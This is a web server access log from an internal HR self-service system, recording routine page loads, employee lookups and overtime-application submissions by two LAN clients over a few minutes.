"http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:23:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 192.168.11.132 - - [04/Dec/2025:16:23:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:23:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.132 - - [04/Dec/2025:16:24:07 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8240058884327373 HTTP/1.1" 200 8592 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:24:07 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8240058884327373 HTTP/1.1" 200 8592 192.168.11.132 - - [04/Dec/2025:16:24:09 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8240058884327373 HTTP/1.1" 200 16458 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8240058884327373" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:24:09 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8240058884327373 HTTP/1.1" 200 16458 192.168.11.132 - - [04/Dec/2025:16:24:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:24:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 192.168.11.60 - - [04/Dec/2025:16:24:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:24:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.60 - - [04/Dec/2025:16:24:29 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:24:29 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.60 - - [04/Dec/2025:16:24:31 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:24:31 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.132 - - [04/Dec/2025:16:24:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:24:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.60 - - [04/Dec/2025:16:24:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20159 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:24:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20159 192.168.11.60 - - [04/Dec/2025:16:24:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:24:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.60 - - [04/Dec/2025:16:24:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:24:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.11.60 - - [04/Dec/2025:16:24:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 165839 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:24:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 165839 192.168.11.60 - - [04/Dec/2025:16:24:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:24:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.60 - - [04/Dec/2025:16:24:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:24:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.132 - - [04/Dec/2025:16:24:52 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.36406460953347786 HTTP/1.1" 200 8592 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:24:52 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.36406460953347786 HTTP/1.1" 200 8592 192.168.11.60 - - [04/Dec/2025:16:24:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:24:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.132 - - [04/Dec/2025:16:24:55 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.36406460953347786 HTTP/1.1" 200 16458 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.36406460953347786" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:24:55 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.36406460953347786 HTTP/1.1" 200 16458 192.168.11.60 - - [04/Dec/2025:16:25:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:25:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.132 - - [04/Dec/2025:16:25:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:25:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 192.168.11.132 - - [04/Dec/2025:16:25:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:25:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.132 - - [04/Dec/2025:16:25:21 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.35100435667263863 HTTP/1.1" 200 8592 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:25:21 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.35100435667263863 HTTP/1.1" 200 8592 192.168.11.132 - - [04/Dec/2025:16:25:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.35100435667263863 HTTP/1.1" 200 16458 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.35100435667263863" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:25:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.35100435667263863 HTTP/1.1" 200 16458 192.168.11.60 - - [04/Dec/2025:16:25:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:25:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.132 - - [04/Dec/2025:16:25:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4270 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:25:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4270 192.168.11.60 - - [04/Dec/2025:16:25:45 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:25:45 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.11.132 - - [04/Dec/2025:16:25:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:25:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.60 - - [04/Dec/2025:16:25:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:25:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.60 - - [04/Dec/2025:16:25:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:25:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.132 - - [04/Dec/2025:16:26:02 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8468160460294725 HTTP/1.1" 200 8592 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:26:02 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8468160460294725 HTTP/1.1" 200 8592 192.168.11.132 - - [04/Dec/2025:16:26:04 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8468160460294725 HTTP/1.1" 200 16458 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8468160460294725" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:26:04 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8468160460294725 HTTP/1.1" 200 16458 192.168.11.132 - - [04/Dec/2025:16:26:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4270 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:26:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4270 192.168.11.132 - - [04/Dec/2025:16:26:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:26:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.132 - - [04/Dec/2025:16:26:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.21394192735253204 HTTP/1.1" 200 8592 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:26:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.21394192735253204 HTTP/1.1" 200 8592 192.168.11.132 - - [04/Dec/2025:16:26:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.21394192735253204 HTTP/1.1" 200 16458 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.21394192735253204" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:26:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.21394192735253204 HTTP/1.1" 200 16458 192.168.11.132 - - [04/Dec/2025:16:26:43 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.21394192735253204 HTTP/1.1" 200 16458 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.21394192735253204" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:26:43 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.21394192735253204 HTTP/1.1" 200 16458 192.168.11.132 - - [04/Dec/2025:16:27:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:27:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 192.168.11.132 - - [04/Dec/2025:16:27:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:27:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.132 - - [04/Dec/2025:16:27:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3292095251188607 HTTP/1.1" 200 8592 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:27:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3292095251188607 HTTP/1.1" 200 8592 192.168.11.132 - - [04/Dec/2025:16:27:20 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3292095251188607 HTTP/1.1" 200 16458 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3292095251188607" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:27:20 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3292095251188607 HTTP/1.1" 200 16458 192.168.11.132 - - [04/Dec/2025:16:27:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4067 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:27:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4067 192.168.11.60 - - [04/Dec/2025:16:29:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:16:29:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.60 - - [04/Dec/2025:16:29:26 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=HCP-WORKFLOW-0059%3A%E8%BC%B8%E5%85%A5%E5%8A%A0%E7%8F%AD%E6%99%82%E6%95%B8%E8%B6%85%E9%81%8E%E5%AF%A6%E9%9A%9B%E6%99%82%E6%95%B8.&target=iframe HTTP/1.1" 200 3105 